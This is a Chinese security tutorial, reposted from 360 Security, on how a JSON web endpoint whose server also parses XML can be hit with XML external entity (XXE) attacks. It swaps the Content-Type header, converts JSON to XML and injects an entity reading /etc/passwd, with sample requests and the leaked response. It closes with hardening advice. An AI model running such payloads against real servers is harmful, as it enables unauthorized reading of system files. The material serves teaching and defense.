神奇的Content-Type--在JSON中玩转XXE攻击
转自:360安全播报http://bobao.360.cn/learning/detail/360.html
大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务。而在如SOAP、RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON。当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击。
XXE是一种针对XML终端实施的攻击,黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样的话,黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。在下面的例子中,我们将一个外部实体指向了WEB服务器上的/etc/passwd,该实体就是包含在XML的payload里的。
1
2
3
4
|
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> [some xml content..] < element >&xxe;</ element > [some xml content..] |
以上就是一个简洁有效的攻击,我们来看看如何利用Content-Type头和HTTP请求的payload,是否也能黑掉JSON的终端。下面是一个JSON请求样本,它将Content-Type设置为application/json,其中精简了大部分内容。
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":"netspitest"} HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"} |
如果Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的。但如果你实际传过去的不是该格式的话,服务器不会进行解析,并且会报如下的错:
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38 {"search":"name","value":"netspitest"} HTTP Response: HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127 {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}} |
该错误提示指出,服务器能够处理XML格式和JSON格式的数据,但现在服务器收到的真实数据格式并不是在Content-Type里声明的XML格式,所以这里自然不能被解析啦。为了解决这个问题,JSON格式被强行转换为XML格式。如果你想做这样的转换,网上有不少在线工具,Eric Gruber曾写了一个Burpsuite插件(Content-Type Converter),可以自动在Burpsuite里转换格式。
1
2
|
Original JSON { "search" : "name" , "value" : "netspitest" } |
1
2
3
4
|
XML Conversion <? xml version = "1.0" encoding = "UTF-8" ?> < search >name</ search > < value >netspitest</ value > |
然而,这样直接转换过来的XML文档很明显是无效的,它并没有XML格式文件所必须的<root>元素。如果这个XML格式的文件被发送到服务器上,有可能服务器会为此响应一个错误消息,所有最好的做法是为该转换过的XML文档加一个<root>元素。
1
2
3
4
5
|
<? xml version = "1.0" encoding = "UTF-8" ?> < root > < search >name</ search > < value >netspitest</ value > </ root > |
现在原始的JSON请求可以被转换为XML发送给服务器,然后获得一个有效响应。
1
2
3
4
5
6
|
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 112 |
1
2
3
4
5
|
<? xml version = "1.0" encoding = "UTF-8" ?> < root > < search >name</ search > < value >netspitest</ value > </ root > |
1
2
3
4
5
|
HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"} |
因为在这里服务器是可以接收XML的数据的,黑客能由此对JSON终端实施XXE攻击。
1
2
3
4
5
6
|
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 |
1
2
3
4
5
6
|
<? xml version = "1.0" encoding = "UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> < root > < search >name</ search > < value >&xxe;</ value > </ root > |
黑客在这里就可以读到/etc/passwd的文件内容:
1
2
3
4
5
6
7
8
9
|
HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... |
显然,不是每一个JSON终端都会接收XML格式,改变Content-Type并没有太大用处,有可能你只会得到一个415的数据类型不支持错误。但是,JSON转换为XML的攻击不会只限制于通过post传输带有JSON内容的payload,我就曾经看见以GET形式传输相应参数的案例。如果JSON的参数被转换为XML,服务器会自己判断content type的真实类型。
通过以上的实验我们可以得出结论,如果你想要加固JSON终端,XML解析必须被禁用,或者你必须禁用内联DOCTYPE声明,以此防御XML外部实体注入攻击。
神奇的Content-Type--在JSON中玩转XXE攻击的更多相关文章
- 神奇的Content-Type——在JSON中玩转XXE攻击
大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或 ...
- org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/json;charset=UTF-8' not supported
最后找到我的问题,springmvc配置文件中没加 <mvc:annotation-driven/> java代码: @RequestMapping(value="/reques ...
- Content type 'application/json;charset=UTF-8' not supported异常的解决过程
首先说一下当时的场景,其实就是一个很简单的添加操作,后台传递的值是json格式的,如下图 ,后台对应的实体类, @Data @EqualsAndHashCode(callSuper = false) ...
- org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/json;charset=UTF-8' not supported或其他Content type不支持处理
很久没从头到尾搭框架,今天搭的过程中,springmvc controller方法入参用@RequestBody自动绑定参数时一直提示各种 not supported 排查问题有两个解决路径: 1)使 ...
- SpringMVC在使用JSON时报错信息为:Content type 'application/json;charset=UTF-8' not supported
直接原因是:我的(maven)项目parent父工程pom.xml缺少必要的三个jar包依赖坐标. 解决方法是:在web子模块的pom.xml里面添加springMVC使用JSON实现AJAX请求. ...
- ajax使用向Spring MVC发送JSON数据出现 org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/x-www-form-urlencoded;charset=UTF-8' not supported错误
ajax使用向Spring MVC发送JSON数据时,后端Controller在接受JSON数据时报org.springframework.web.HttpMediaTypeNotSupportedE ...
- 解决IE浏览器中出现“Resource interpreted as Document but transferred with MIME type application/json”问题
在上传图片时,使用ajax提交,返回的数据格式为json.在测试时发现IE浏览器中,上传图片后,没有显示图片,而是弹出一个提示:是否保存UploadImg.json文件:而在其他浏览器中正常. 在Ch ...
- Jsoup问题---获取http协议请求失败 org.jsoup.UnsupportedMimeTypeException: Unhandled content type. Must be text/*, application/xml, or application/xhtml+xml.
Jsoup问题---获取http协议请求失败 1.问题:用Jsoup在获取一些网站的数据时,起初获取很顺利,但是在访问某浪的数据是Jsoup报错,应该是请求头里面的请求类型(ContextType)不 ...
- 宝马-中国官方网站服务站点信息爬去记录(解析json中数据)
具体步骤: 1.进入宝马官网,查找经销商查询界面 http://www.bmw.com.cn/cn/zh/general/dealer_locator/content/dealer_locator.h ...
随机推荐
- Java微信二次开发(一)
准备用Java做一个微信二次开发项目,把流程写在这里吧. 第一天,做微信请求验证 需要导入库:servlet-api.jar 第一步:新建包com.wtz.service,新建类LoginServle ...
- robotframework常用的几个快捷键
robotframework常用的几个快捷键 重命名(F2) 搜索关键字(F5) 执行用例(F8) 创建新工程(ctrl+n) 创建新测试套(ctrl+shift+f) 创建新用例(ctrl+shif ...
- 【Webpack2.X笔记】 配合react项目进行配置
前言: 本文是自己在工作中使用webpack进行react开发项目构建的一些经验总结,做以记录防范后续踩坑. 如果您还没有webpack相关基础,请先移步 入门Webpack,看这篇就够了 进行基础学 ...
- Luogu1641 SCOI2010生成字符串(组合数学)
NOI2018冒泡排序的一个子问题. #include<iostream> #include<cstdio> #include<cmath> #include< ...
- 【刷题】BZOJ 2194 快速傅立叶之二
Description 请计算C[k]=sigma(a[i]*b[i-k]) 其中 k < = i < n ,并且有 n < = 10 ^ 5. a,b中的元素均为小于等于100的非 ...
- 【题解】 bzoj2748 [HAOI2012]音量调节 (动态规划)
懒得复制,戳我戳我 Solution: 傻逼题目,直接dp就可以了,他是求最后一次的最大值 Code: //It is coded by Ning_Mew on 4.17 #include<bi ...
- 【题解】 [ZJOI2006]书架 (Splay)
懒得复制,戳我戳我 Solution: 还是一个\(Splay\),我们只用多存一个值\(rad\)来维护二叉树,然后用数组存下每个书对应的值是多少 \(Top\)操作,我是把\(s\)旋转到根节点, ...
- 【转】如何在您的PCB大作上添加二维码?
开篇先给大家来段新闻截选: “8月20日,新加坡总理李显龙在国庆群众大会上演讲时,称中国移动支付(电子支付)领先全球,新加坡的移动支付还很落后,上海路边摊都有移动支付,新加坡人去上海就像乡巴佬. 这番 ...
- 【转】linux下各文件夹的结构说明及用途介绍
linux下各文件夹的结构说明及用途介绍: /bin:二进制可执行命令. /dev:设备特殊文件. /etc:系统管理和配置文件. /etc/rc.d:启动的配 置文件和脚本. /home:用户主目录 ...
- CF1025D Recovering BST
题意:给定序列,问能否将其构成一颗BST,使得所有gcd(x, fa[x]) > 1 解:看起来是区间DP但是普通的f[l][r]表示不了根,f[l][r][root]又是n4的会超时,怎么办? ...